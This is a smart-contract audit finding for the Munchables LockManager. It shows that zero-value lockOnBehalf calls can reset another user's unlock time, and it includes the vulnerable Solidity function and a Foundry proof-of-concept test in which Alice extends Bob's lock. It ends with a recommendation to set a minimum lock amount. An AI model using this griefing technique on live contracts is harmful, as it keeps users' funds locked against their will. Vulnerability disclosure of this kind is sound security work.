Munchables - 0xrex's results

Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/main/src/managers/LockManager.sol#L311-L399

Vulnerability details

Impact

Any malicious user can extend other users' lock duration for any of the supported tokens by locking a 0 value amount on behalf of the end-receiving user.

Although the malicious user needs to keep up with calling this function once in a while, they can technically put the other users in a frustrating situation for token unlocks and the protocol seeks to mitigate issues like this.

The most important thing is that funds cannot get locked forever

Proof of Concept

There is no minimum withdrawal amount when locking tokens in the Munchables protocol giving way to malicious users to game this.

function _lock(
        address _tokenContract,
        uint256 _quantity,
        address _tokenOwner,
        address _lockRecipient
    ) private {
        (
            address _mainAccount,
            MunchablesCommonLib.Player memory _player
        ) = accountManager.getPlayer(_lockRecipient);
        if (_mainAccount != _lockRecipient) revert SubAccountCannotLockError();
        if (_player.registrationDate == 0) revert AccountNotRegisteredError();
        // check approvals and value of tx matches
        if (_tokenContract == address(0)) {
            if (msg.value != _quantity) revert ETHValueIncorrectError();
        } else {
            if (msg.value != 0) revert InvalidMessageValueError();
            IERC20 token = IERC20(_tokenContract);
            uint256 allowance = token.allowance(_tokenOwner, address(this));
            if (allowance < _quantity) revert InsufficientAllowanceError();
        }

        LockedToken storage lockedToken = lockedTokens[_lockRecipient][
            _tokenContract
        ];
        ConfiguredToken storage configuredToken = configuredTokens[
            _tokenContract
        ];

        // they will receive schnibbles at the new rate since last harvest if not for force harvest
        accountManager.forceHarvest(_lockRecipient);

        // add remainder from any previous lock
        uint256 quantity = _quantity + lockedToken.remainder;
        uint256 remainder;
        uint256 numberNFTs;
        uint32 _lockDuration = playerSettings[_lockRecipient].lockDuration;

        if (_lockDuration == 0) {
            _lockDuration = lockdrop.minLockDuration;
        }
        if (
            lockdrop.start <= uint32(block.timestamp) &&
            lockdrop.end >= uint32(block.timestamp)
        ) {
            if (
                _lockDuration < lockdrop.minLockDuration ||
                _lockDuration >
                uint32(configStorage.getUint(StorageKey.MaxLockDuration))
            ) revert InvalidLockDurationError();
            if (msg.sender != address(migrationManager)) {
                // calculate number of nfts
                remainder = quantity % configuredToken.nftCost;
                numberNFTs = (quantity - remainder) / configuredToken.nftCost;

                if (numberNFTs > type(uint16).max) revert TooManyNFTsError();

                // Tell nftOverlord that the player has new unopened Munchables
                nftOverlord.addReveal(_lockRecipient, uint16(numberNFTs));
            }
        }

        // Transfer erc tokens
        if (_tokenContract != address(0)) {
            IERC20 token = IERC20(_tokenContract);
            token.transferFrom(_tokenOwner, address(this), _quantity);
        }

        lockedToken.remainder = remainder;
        lockedToken.quantity += _quantity;
        lockedToken.lastLockTime = uint32(block.timestamp);
@>        lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration); // @audit lock duration extended here even for 0 value locks

        // set their lock duration in playerSettings
        playerSettings[_lockRecipient].lockDuration = _lockDuration;

        emit Locked(
            _lockRecipient,
            _tokenOwner,
            _tokenContract,
            _quantity,
            remainder,
            numberNFTs,
            _lockDuration
        );
    }

Consider the scenario below:

• User A locks 1 ether and gets minted 1 Munchables NFT
• They locked for 1 day
• The current time warps to 23 hours and user A is still waiting for an additional hour to unlock their tokens because they need to utilize it
• User B locks 0 ether on behalf of user A
• The additional 1 hour waiting time elapses
• User A attempts unlocking their token, the function reverts with the error: TokenStillLockedError because they now need to wait an additional 1 day since user B extended their lock duration with a 0 value lock on their behalf
• Imagine user A locked for 30 days or more. User B can now extend it for another 30 and again when that duration is closer to expiry.

Paste the POC below in the SpeedRun.t.sol file and run the test with forge test --mt test_AliceExtendsUserLockAnytime -vvv

function test_AliceExtendsUserLockAnytime() public {
       uint256 lockAmount = 1.2e18;

        console.log("Beginning run()");
        deployContracts();

        // register bob
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery Bob");

        // register alice
        address alice = address(424242);
        vm.deal(alice, 0 ether);

        vm.prank(alice);
        amp.register(MunchablesCommonLib.Realm(3), address(0));
        logSnuggery("Initial snuggery Alice");

        // INITIAL TOKEN LOCK OF 1 ETHER BY BOB TO MINT 1 MUNCHABLES NFT
        // SO, BOB SETS HIS LOCK DURATION TO 1 DAYS
        lm.setLockDuration(1 days);
        // lock tokens
        lm.lock{value: lockAmount}(address(0), lockAmount);

        logPlayer("Bob after lock");
        logLockedTokens("After First Lock");

        // LET'S ASSUME ITS CLOSER TO 1 DAYS WHEN BOB CAN UNLOCK BECAUSE THEY WANT TO
        vm.warp(block.timestamp + 23 hours);
        // ALICE REALIZES THIS AND THEN MAKES A 0 VALUE LOCK ON BEHALF OF BOB TO EXTEND HIS LOCK AN ADDITIONAL 1 DAY
        
        vm.prank(alice);
        lm.lockOnBehalf{value: 0 ether}(address(0), 0 ether, address(this));
        logPlayer("Alice after lock onBehalf of Bob");
        logLockedTokens("After First Lock");

        vm.warp(block.timestamp + 1 hours + 5 minutes);
        lm.unlock(address(0), lockAmount);
        logLockedTokens("After Unlock");
    }

Tools Used

Manual review

Recommended Mitigation Steps

Zero-value locks almost yield nothing in all cases. Get rid of it. Having a minimum locking amount is one way to handle this because even if a malicious user tries to extend the duration of another user, they front a cost that almost instantly deters the effort.

Assessed type

Context